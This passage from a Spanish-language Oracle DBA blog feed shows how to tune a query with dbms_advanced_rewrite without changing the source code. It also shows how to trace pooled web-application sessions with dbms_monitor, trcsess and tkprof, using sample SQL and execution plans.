--------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - access("E"."DEPTNO"=TO_NUMBER(TO_CHAR("D"."DEPTNO")))&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;La tabla &lt;i&gt;dept&lt;/i&gt; tiene como clave primaria a la columna &lt;i&gt;deptno&lt;/i&gt;, pero el índice asociado no se está usando debido a que se le está aplicando el operador &lt;i&gt;to_number&lt;/i&gt; a dicha columna. Si tuviésemos acceso al código procederíamos a remover este operador para que quede algo así:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;select e.ename, d.dname 
from emp e, dept d 
where e.deptno = d.deptno

--------------------------------------------------------------------------
| Id | Operation                    | Name    | Rows | Bytes | Cost(%CPU)|
--------------------------------------------------------------------------
|  0 | SELECT STATEMENT             |         |   14 |   308 |     4  (0)|
|  1 |  NESTED LOOPS                |         |   14 |   308 |     4  (0)|
|  2 |   TABLE ACCESS FULL          | EMP     |   14 |   126 |     3  (0)|
|  3 |   TABLE ACCESS BY INDEX ROWID| DEPT    |    1 |    13 |     1  (0)|
|* 4 |    INDEX UNIQUE SCAN         | PK_DEPT |    1 |       |     0  (0)|
--------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   4 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Como no tenemos acceso al código lo más que podríamos hacer es crear un índice funcional para &lt;i&gt;to_number(deptno)&lt;/i&gt;, pero coincidirán en que es una solución poco elegante y eficiente, más aun cuando Oracle nos ofrece la solución perfecta por medio del nuevo package&lt;br /&gt;
&lt;i&gt;&lt;b&gt;dbms_advanced_rewrite&lt;/b&gt;&lt;/i&gt;, el cual nos permite cambiar una sentencia por otra de forma transparente.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para empezar a usarlo debemos en primer lugar otorgar los privilegios requeridos al usuario que emplearemos para hacer este mapeo, que para nuestro ejemplo será el usuario &lt;i&gt;scott&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; grant execute on sys.dbms_advanced_rewrite to scott;

Grant succeeded.

SYS@orcl&amp;gt; grant create materialized view to scott;

Grant succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;A continuación hacemos uso del procedimiento &lt;i&gt;declare_rewrite_equivalence&lt;/i&gt; al interior de &lt;i&gt;dbms_advanced_rewrite&lt;/i&gt;, debemos proporcionar un nombre único, la sentencia original y la sentencia por la cual deseamos cambiarla.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; begin
  2  sys.dbms_advanced_rewrite.declare_rewrite_equivalence(
  3    name =&amp;gt; 'use_index',
  4    source_stmt =&amp;gt; 'select e.ename, d.dname from emp e, dept d 
  5      where e.deptno = to_number(d.deptno)',
  6    destination_stmt =&amp;gt; 'select e.ename, d.dname from emp e, dept d 
  7      where e.deptno = d.deptno');
  8  end;
  9  /

PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Deben tener en cuenta que ambas sentencias deben coincidir en la cantidad de columnas y en los tipos de datos o de otra forma tendrian un error similar a este:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;ERROR at line 1:
ORA-30390: the source statement is not equivalent to the destination statement
ORA-06512: at "SYS.DBMS_ADVANCED_REWRITE", line 29
ORA-06512: at "SYS.DBMS_ADVANCED_REWRITE", line 185
ORA-06512: at line 2&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Pues bien, veamos ahora si es verdad tanta belleza, para lo cual ejecutamos nuevamente el código original.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; select e.ename, d.dname from emp e, dept d
  2  where e.deptno = to_number(d.deptno);

ENAME      DNAME
---------- --------------
SMITH      RESEARCH
ALLEN      SALES
WARD       SALES
JONES      RESEARCH
MARTIN     SALES
BLAKE      SALES
CLARK      ACCOUNTING
SCOTT      RESEARCH
KING       ACCOUNTING
TURNER     SALES
ADAMS      RESEARCH
JAMES      SALES
FORD       RESEARCH
MILLER     ACCOUNTING

14 rows selected.

--------------------------------------------------------------
| Id | Operation          | Name | Rows | Bytes | Cost (%CPU)|
--------------------------------------------------------------
|  0 | SELECT STATEMENT   |      |   14 |   308 |     7  (15)|
|* 1 |  HASH JOIN         |      |   14 |   308 |     7  (15)|
|  2 |   TABLE ACCESS FULL| DEPT |    4 |    52 |     3   (0)|
|  3 |   TABLE ACCESS FULL| EMP  |   14 |   126 |     3   (0)|
--------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - access("E"."DEPTNO"=TO_NUMBER(TO_CHAR("D"."DEPTNO")))&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Como diría Condorito: ¡exijo una explicación! Simple, el parámetro &lt;i&gt;query_rewrite_integrity&lt;/i&gt; controla las posibilidades de reemplazar una sentencia por otra, y por defecto tiene el valor &lt;i&gt;enforced&lt;/i&gt; y para nuestro caso es requerido que sea &lt;i&gt;trusted&lt;/i&gt;. Hagamos el cambio y reintentemos con nuestro query anterior.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; alter session set query_rewrite_integrity=&lt;span style="color: red;"&gt;trusted&lt;/span&gt;;

Session altered.

SCOTT@orcl&amp;gt; select e.ename, d.dname from emp e, dept d 
  2  where e.deptno = to_number(d.deptno);

ENAME      DNAME
---------- --------------
SMITH      RESEARCH
ALLEN      SALES
WARD       SALES
JONES      RESEARCH
MARTIN     SALES
BLAKE      SALES
CLARK      ACCOUNTING
SCOTT      RESEARCH
KING       ACCOUNTING
TURNER     SALES
ADAMS      RESEARCH
JAMES      SALES
FORD       RESEARCH
MILLER     ACCOUNTING

14 rows selected.

--------------------------------------------------------------------------
| Id | Operation                    | Name    | Rows | Bytes | Cost(%CPU)|
--------------------------------------------------------------------------
|  0 | SELECT STATEMENT             |         |   14 |   308 |     4  (0)|
|  1 |  NESTED LOOPS                |         |   14 |   308 |     4  (0)|
|  2 |   TABLE ACCESS FULL          | EMP     |   14 |   126 |     3  (0)|
|  3 |   TABLE ACCESS BY INDEX ROWID| DEPT    |    1 |    13 |     1  (0)|
|* 4 |    INDEX UNIQUE SCAN         | PK_DEPT |    1 |       |     0  (0)|
--------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   4 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Finalmente funcionó!, vemos como Oracle ha reemplazado un query por otro y ahora sí se usa la clave primaria de la tabla &lt;i&gt;dept&lt;/i&gt;. Pero qué tal si éste no es el único código con problemas sino que hay otros similares, ¿se hará o no la transformación? pues hagamos la prueba.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; select e.ename, d.dname from emp e, dept d 
  2  where e.deptno = to_number(d.deptno)
  3  and e.ename = 'KING';

ENAME      DNAME
---------- --------------
KING       ACCOUNTING

---------------------------------------------------------------
| Id | Operation          | Name | Rows  | Bytes | Cost (%CPU)|
---------------------------------------------------------------
|  0 | SELECT STATEMENT   |      |     1 |    22 |     7  (15)|
|* 1 |  HASH JOIN         |      |     1 |    22 |     7  (15)|
|* 2 |   TABLE ACCESS FULL| EMP  |     1 |     9 |     3   (0)|
|  3 |   TABLE ACCESS FULL| DEPT |     4 |    52 |     3   (0)|
---------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - access("E"."DEPTNO"=TO_NUMBER(TO_CHAR("D"."DEPTNO")))
   2 - filter("E"."ENAME"='KING')&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Ya no funciona! ¿Quiere decir que tendremos que crear tantos mapeos como sentencias hayan? Afortunadamente no, es cuestión de crear el mapeo indicándole a Oracle que no sea tan estricto, para ello usamos el parámetro &lt;i&gt;rewrite_mode&lt;/i&gt; cambiándolo de su valor por defecto &lt;i&gt;text_match&lt;/i&gt; por el valor &lt;i&gt;general&lt;/i&gt;. Primero eliminemos el mapeo que habíamos creado y lo creamos nuevamente con el ajuste requerido.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; execute sys.dbms_advanced_rewrite.drop_rewrite_equivalence('use_index')

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; begin
  2  sys.dbms_advanced_rewrite.declare_rewrite_equivalence(
  3    name =&amp;gt; 'use_index',
  4    source_stmt =&amp;gt; 'select e.ename, d.dname from emp e, dept d
  5      where e.deptno = to_number(d.deptno)',
  6    destination_stmt =&amp;gt; 'select e.ename, d.dname from emp e, dept d
  7      where e.deptno = d.deptno',
  8    &lt;span style="color: red;"&gt;rewrite_mode =&amp;gt; 'GENERAL');&lt;/span&gt;
  9  end;
 10  /

PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora reintentamos con el query anterior.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; select e.ename, d.dname from emp e, dept d
  2  where e.deptno = to_number(d.deptno)
  3  and e.ename = 'KING';

ENAME      DNAME
---------- --------------
KING       ACCOUNTING

---------------------------------------------------------------------------
| Id | Operation                    | Name    | Rows | Bytes | Cost (%CPU)|
---------------------------------------------------------------------------
|  0 | SELECT STATEMENT             |         |    1 |    22 |     4   (0)|
|  1 |  NESTED LOOPS                |         |    1 |    22 |     4   (0)|
|* 2 |   TABLE ACCESS FULL          | EMP     |    1 |     9 |     3   (0)|
|  3 |   TABLE ACCESS BY INDEX ROWID| DEPT    |    1 |    13 |     1   (0)|
|* 4 |    INDEX UNIQUE SCAN         | PK_DEPT |    1 |       |     0   (0)|
---------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - filter("E"."ENAME"='KING')
   4 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Bien! Las cosas vuelven a la normalidad, Oracle hace nuevamente el cambio aún cuando el código proporcionado no es idéntico al indicado durante el mapeo, pero vayamos un poco más allá, hagamos la prueba usando &lt;i&gt;bind variables&lt;/i&gt;, después de todo estamos conscientes de que usar literales usualmente no es una buena práctica, ¿seguirá Oracle haciendo el cambio?&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; variable ename varchar2(14)
SCOTT@orcl&amp;gt; execute :ename := 'KING'

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; select e.ename, d.dname from emp e, dept d 
  2  where e.deptno = to_number(d.deptno)
  3  and e.ename = :ename;

ENAME      DNAME
---------- --------------
KING       ACCOUNTING

---------------------------------------------------------------------------
| Id | Operation                    | Name    | Rows | Bytes | Cost (%CPU)|
---------------------------------------------------------------------------
|  0 | SELECT STATEMENT             |         |    1 |    22 |     4   (0)|
|  1 |  NESTED LOOPS                |         |    1 |    22 |     4   (0)|
|* 2 |   TABLE ACCESS FULL          | EMP     |    1 |     9 |     3   (0)|
|  3 |   TABLE ACCESS BY INDEX ROWID| DEPT    |    1 |    13 |     1   (0)|
|* 4 |    INDEX UNIQUE SCAN         | PK_DEPT |    1 |       |     0   (0)|
---------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - filter("E"."ENAME"=:ENAME)
   4 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Perfecto! Todo está saliendo a pedir de boca, pero sigamos forzando la situación y démosle a Oracle un nuevo query para ponerlo a prueba.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; variable empno number
SCOTT@orcl&amp;gt; execute :empno := 7839

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; select e.ename, d.dname from emp e, dept d 
  2  where e.deptno = to_number(d.deptno)
  3  and e.ename = :ename
  4  and e.empno = :empno;

ENAME      DNAME
---------- --------------
KING       ACCOUNTING

--------------------------------------------------------------------------
| Id | Operation                    | Name   | Rows | Bytes | Cost (%CPU)|
--------------------------------------------------------------------------
|  0 | SELECT STATEMENT             |        |    1 |    26 |     4   (0)|
|  1 |  NESTED LOOPS                |        |    1 |    26 |     4   (0)|
|* 2 |   TABLE ACCESS BY INDEX ROWID| EMP    |    1 |    13 |     1   (0)|
|* 3 |    INDEX UNIQUE SCAN         | PK_EMP |    1 |       |     0   (0)|
|* 4 |   TABLE ACCESS FULL          | DEPT   |    1 |    13 |     3   (0)|
--------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - filter("E"."ENAME"=:ENAME)
   3 - access("E"."EMPNO"=TO_NUMBER(:EMPNO))
   4 - filter("E"."DEPTNO"=TO_NUMBER(TO_CHAR("D"."DEPTNO")))&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¿Qué pasó? Esto ya parece una telenovela pero afortunadamente la explicación es bastante sencilla: para que la transformación pueda realizarse, se debe hacer referencia a las columnas que están en la sentencia original y si observamos con detenimiento, la columna &lt;i&gt;empno&lt;/i&gt; no aparece en ella. Hagamos entonces un mapeo en el que si aparezca, y es más haremos que no sea explícito sino implícito.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; execute sys.dbms_advanced_rewrite.drop_rewrite_equivalence('use_index')

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; begin
  2  sys.dbms_advanced_rewrite.declare_rewrite_equivalence (
  3    name =&amp;gt; 'use_index',
  4    source_stmt =&amp;gt; 'select &lt;span style="color: red;"&gt;e.*&lt;/span&gt;, d.dname from emp e, dept d
  5      where e.deptno = to_number(d.deptno)',
  6    destination_stmt =&amp;gt; 'select &lt;span style="color: red;"&gt;e.*&lt;/span&gt;, d.dname from emp e, dept d 
  7      where e.deptno = d.deptno',
  8    rewrite_mode =&amp;gt; 'GENERAL');
  9  end; 
 10  /

PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora sí, al indicar &lt;i&gt;e.*&lt;/i&gt; allí estará desde luego la columna &lt;i&gt;empno&lt;/i&gt;, hagamos nuevamente la prueba.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; select e.ename, d.dname from emp e, dept d 
  2  where e.deptno = to_number(d.deptno)
  3  and e.ename = :ename
  4  and e.empno = :empno;

ENAME      DNAME
---------- --------------
KING       ACCOUNTING

---------------------------------------------------------------------------
| Id | Operation                    | Name    | Rows | Bytes | Cost (%CPU)|
---------------------------------------------------------------------------
|  0 | SELECT STATEMENT             |         |    1 |    26 |     2   (0)|
|  1 |  NESTED LOOPS                |         |    1 |    26 |     2   (0)|
|* 2 |   TABLE ACCESS BY INDEX ROWID| EMP     |    1 |    13 |     1   (0)|
|* 3 |    INDEX UNIQUE SCAN         | PK_EMP  |    1 |       |     0   (0)|
|  4 |   TABLE ACCESS BY INDEX ROWID| DEPT    |    4 |    52 |     1   (0)|
|* 5 |    INDEX UNIQUE SCAN         | PK_DEPT |    1 |       |     0   (0)|
---------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - filter("E"."ENAME"=:ENAME)
   3 - access("E"."EMPNO"=TO_NUMBER(:EMPNO))
   5 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Simplemente ¡magnífico!. No tuvimos que escribir en nuestro query &lt;i&gt;e.*&lt;/i&gt; sino que escogimos algunas de las columnas de &lt;i&gt;emp&lt;/i&gt; como son &lt;i&gt;e.ename&lt;/i&gt; y &lt;i&gt;e.empno&lt;/i&gt; y Oracle no encontró problemas en hacer la conversión.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Qué lástima, justo cuando la cosa se ponía interesante llegamos al final de esta demostración, pero espero que les haya motivado a investigar más sobre el tema y desde luego agreguen a &lt;i&gt;dbms_advanced_rewrite&lt;/i&gt; a su arsenal de armas en la eterna guerra contra el código ineficiente, ¡suerte en la batalla!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/dbms-application-info-instrumentacion.html"&gt;Hazte la vida más fácil, instrumenta tus aplicaciones&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/12/dbms-monitor-session-trace-trcsess.html"&gt;Nuevas formas de rastrear el código&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-5297514875947482825?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/hvSEfUAO4g0" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:23:18.981-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/12/advanced-rewrite-tuning-sin-fuentes.html</feedburner:origLink></item><item><title>Nuevas formas de rastrear el código</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/ISbNd244LOo/dbms-monitor-session-trace-trcsess.html</link><category>Trace</category><category>PLSQL</category><category>Tuning</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Tue, 02 Dec 2008 16:12:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7148768777793450791</guid><description>&lt;div&gt;Una de las tareas habituales del DBA es hacer seguimiento al código, para ello normalmente se identificaba la sesión deseada y se habilitaba el &lt;i&gt;trace&lt;/i&gt; para la misma, pero ahora que prevalecen las aplicaciones web, ¿cómo hacer seguimiento cuando existe un pool de conexiones que es compartido por todos los usuarios? Pues si hemos tomado la precaución de instrumentar nuestro código, tal como les recomendara en un &lt;a href="http://blog.e-dba.biz/2008/11/dbms-application-info-instrumentacion.html"&gt;Post previo&lt;/a&gt;, la tarea aún es posible y nada complicada, como veremos a continuación.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Primero estableceremos el escenario que nos servirá para demostrar cómo hacer seguimiento, para ellos asumiremos la existencia de un usuario de base de datos llamado "appweb", tendremos 2 sesiones en sql*plus desde las cuales ejecutaremos un par de scripts que contienen el código que nos interesa capturar.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;&lt;b&gt;script1.sql&lt;/b&gt;
declare
&amp;nbsp;&amp;nbsp; v_dummy number;
begin
&amp;nbsp;&amp;nbsp; dbms_session.set_identifier( client_id =&amp;gt; 'juan.perez' );
&amp;nbsp;&amp;nbsp; dbms_application_info.set_module(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; module_name =&amp;gt; 'Agregacion',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name =&amp;gt; 'Empleados');

&amp;nbsp;&amp;nbsp; select count(*)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; into v_dummy
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; from emp;

&amp;nbsp;&amp;nbsp; dbms_application_info.set_module(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; module_name =&amp;gt; 'Agregacion',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name =&amp;gt; 'Departamentos');

&amp;nbsp;&amp;nbsp; select count(*)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; into v_dummy
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; from dept;

&amp;nbsp;&amp;nbsp; dbms_application_info.set_module(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; module_name =&amp;gt; NULL,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name =&amp;gt; NULL );
&amp;nbsp;&amp;nbsp; dbms_session.set_identifier( client_id =&amp;gt; NULL );
end;
/

&lt;b&gt;script2.sql&lt;/b&gt;
declare
&amp;nbsp;&amp;nbsp; v_dummy varchar2(20);
begin
&amp;nbsp;&amp;nbsp; dbms_session.set_identifier( client_id =&amp;gt; 'john.doe' );
&amp;nbsp;&amp;nbsp; dbms_application_info.set_module(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; module_name =&amp;gt; 'Primeros',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name =&amp;gt; 'Empleados');

&amp;nbsp;&amp;nbsp; select ename
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; into v_dummy
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; from emp
&amp;nbsp;&amp;nbsp;&amp;nbsp; where rownum &amp;lt; 2;

&amp;nbsp;&amp;nbsp; dbms_application_info.set_module(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; module_name =&amp;gt; 'Primeros',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name =&amp;gt; 'Departamentos');

&amp;nbsp;&amp;nbsp; select dname
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; into v_dummy
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; from dept
&amp;nbsp;&amp;nbsp;&amp;nbsp; where rownum &amp;lt; 2;

&amp;nbsp;&amp;nbsp; dbms_application_info.set_module(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; module_name =&amp;gt; NULL,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name =&amp;gt; NULL );
&amp;nbsp;&amp;nbsp; dbms_session.set_identifier( client_id =&amp;gt; NULL );
end;
/&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El uso de &lt;i&gt;dbms_application_info&lt;/i&gt; ya nos es conocido, si no es así te recomiendo leer primero este &lt;a href="http://enriqueorbegozo.blogspot.com/2008/11/dbms-application-info-instrumentacion.html"&gt;Post&lt;/a&gt; en el cual lo detallo; la novedad viene a ser el uso de &lt;b&gt;&lt;i&gt;dbms_session.set_identifier&lt;/i&gt;&lt;/b&gt;, que sirve para asignar una cadena de hasta 64 caracteres y que es visible en &lt;i&gt;v$session&lt;/i&gt; bajo la columna &lt;i&gt;client_identifier&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; execute dbms_session.set_identifier( 'Juan.Perez' )

PL/SQL procedure successfully completed.

SYS@orcl &amp;gt; select username, client_identifier 
  2  from v$session where client_identifier is not null;

USERNAME CLIENT_IDENTIFIER
-------- -----------------
SYS      Juan.Perez&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;En una aplicación web, cada vez que un usuario desea interactuar con la base de datos, se solicita una conexión disponible del pool de conexiones y una vez obtenida se ejecuta el código SQL, pues bien, para poder identificar al usuario, es necesario agregar una llamada a &lt;i&gt;dbms_session.client_identifier&lt;/i&gt;, tal como pueden ver en el código de &lt;i&gt;script1&lt;/i&gt; y &lt;i&gt;script2&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Si deseamos hacer &lt;i&gt;trace&lt;/i&gt; al usuario &lt;i&gt;'juan.perez'&lt;/i&gt;, que es un usuario de aplicación, no un usuario de la base de datos, podemos hacer uso del package &lt;b&gt;&lt;i&gt;dbms_monitor&lt;/i&gt;&lt;/b&gt;. Este package aparece con 10g y ha venido a reemplazar a &lt;i&gt;dbms_system&lt;/i&gt; y &lt;i&gt;dbms_support&lt;/i&gt;, por lo que si aún los usan les recomiendo dejar de hacerlo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; execute dbms_monitor.client_id_trace_enable( 'juan.perez' )

PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora simularemos la interacción de una aplicación web, ejecutando los scripts desde dos sesiones establecidas con el usuario &lt;i&gt;appweb&lt;/i&gt;, que vendría a ser el usuario del pool de conexiones.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;APPWEB(1)@orcl &amp;gt; @script1

PL/SQL procedure successfully completed.

APPWEB(2)@orcl &amp;gt; @script2

PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ya que Oracle ha recibido la instrucción de hacer seguimiento al código que sea ejecutado por 'juan.perez', conforme esto ocurra se iran generando &lt;i&gt;trace files&lt;/i&gt; en el directorio señalado en &lt;i&gt;user_dump_dest&lt;/i&gt;. Aquí no podemos usar directamente &lt;i&gt;tkprof&lt;/i&gt;, debemos ejecutar un paso previo que consiste en llamar a &lt;b&gt;&lt;i&gt;trcsess&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[udump]$ trcsess
oracle.ss.tools.trcsess.SessTrcException: SessTrc-00002: Session Trace Usage error: Wrong parameters passed.
trcsess [output=&amp;lt;output file name&amp;gt;]  [session=&amp;lt;session ID&amp;gt;] [clientid=&amp;lt;clientid&amp;gt;] [service=&amp;lt;service name&amp;gt;] [action=&amp;lt;action name&amp;gt;] [module=&amp;lt;module name&amp;gt;] &amp;lt;trace file names&amp;gt;

output=&amp;lt;output file name&amp;gt; output destination default being standard output.
session=&amp;lt;session Id&amp;gt; session to be traced.
Session id is a combination of session Index &amp; session serial number e.g. 8.13.
clientid=&amp;lt;clientid&amp;gt; clientid to be traced.
service=&amp;lt;service name&amp;gt; service to be traced.
action=&amp;lt;action name&amp;gt; action to be traced.
module=&amp;lt;module name&amp;gt; module to be traced.
&amp;lt;trace_file_names&amp;gt; Space separated list of trace files with wild card '*' supported.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Vemos que &lt;i&gt;trcess&lt;/i&gt; nos permite separar de entre muchos &lt;i&gt;trace files&lt;/i&gt; las sentencias que vamos filtrando con los parámetros disponibles. Empezaremos por filtrar las sentencias ejecutadas por 'juan.perez'.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[udump]$ ls *trc
orcl_ora_6839.trc&amp;nbsp; orcl_ora_6901.trc
[udump]$ trcsess output=juan.perez.trc clientid='juan.perez' *trc
[udump]$ tkprof juan.perez.trc juan.perez.txt sys=no

TKPROF: Release 10.2.0.4.0 - Production on Mon Dec 1 08:10:21 2008

Copyright (c) 1982, 2007, Oracle.&amp;nbsp; All rights reserved.

&lt;b&gt;juan.perez.txt&lt;/b&gt;
SELECT COUNT(*)
FROM
&amp;nbsp;EMP
SELECT COUNT(*)
FROM
&amp;nbsp;DEPT&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El objetivo se ha cumplido, hemos logrado aislar las sentencias que corresponden a 'juan.perez', procedamos ahora a solicitar el seguimiento de las sentencias generadas por el módulo 'Primeros'.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; execute dbms_monitor.serv_mod_act_trace_enable(-
&amp;gt; service_name =&amp;gt; 'orcl.oracle.com',-
&amp;gt; module_name =&amp;gt; 'Primeros' );

PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora simularemos nuevamente la interacción con la base de datos y obtendremos de los &lt;i&gt;trace files&lt;/i&gt; aquellas sentencias que nos interesan por corresponder a dicho módulo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;APPWEB(1)@orcl &amp;gt; @script1

PL/SQL procedure successfully completed.

APPWEB(2)@orcl &amp;gt; @script2

PL/SQL procedure successfully completed.

[udump]$ trcsess output=Primeros.trc module='Primeros' *trc
[udump]$ tkprof Primeros.trc Primeros.txt sys=no

TKPROF: Release 10.2.0.4.0 - Production on Mon Dec 1 08:37:37 2008

Copyright (c) 1982, 2007, Oracle.&amp;nbsp; All rights reserved.

&lt;b&gt;Primeros.txt&lt;/b&gt;
SELECT ENAME
FROM
&amp;nbsp;EMP WHERE ROWNUM &amp;lt; 2

SELECT DNAME
FROM
&amp;nbsp;DEPT WHERE ROWNUM &amp;lt; 2&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Las cosas marchan como se esperaba, &lt;i&gt;trcess&lt;/i&gt; logró separar las sentencias que corresponden al módulo 'Primeros'. De manera similar lo podemos solicitar a nivel de acción, veamos el ejemplo para 'Departamentos'.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[udump]$ trcsess output=Departamentos.trc action='Departamentos' *trc
[udump]$ tkprof Departamentos.trc Departamentos.txt sys=no

TKPROF: Release 10.2.0.4.0 - Production on Mon Dec 1 08:41:19 2008

Copyright (c) 1982, 2007, Oracle.&amp;nbsp; All rights reserved.

&lt;b&gt;Departamentos.txt&lt;/b&gt;
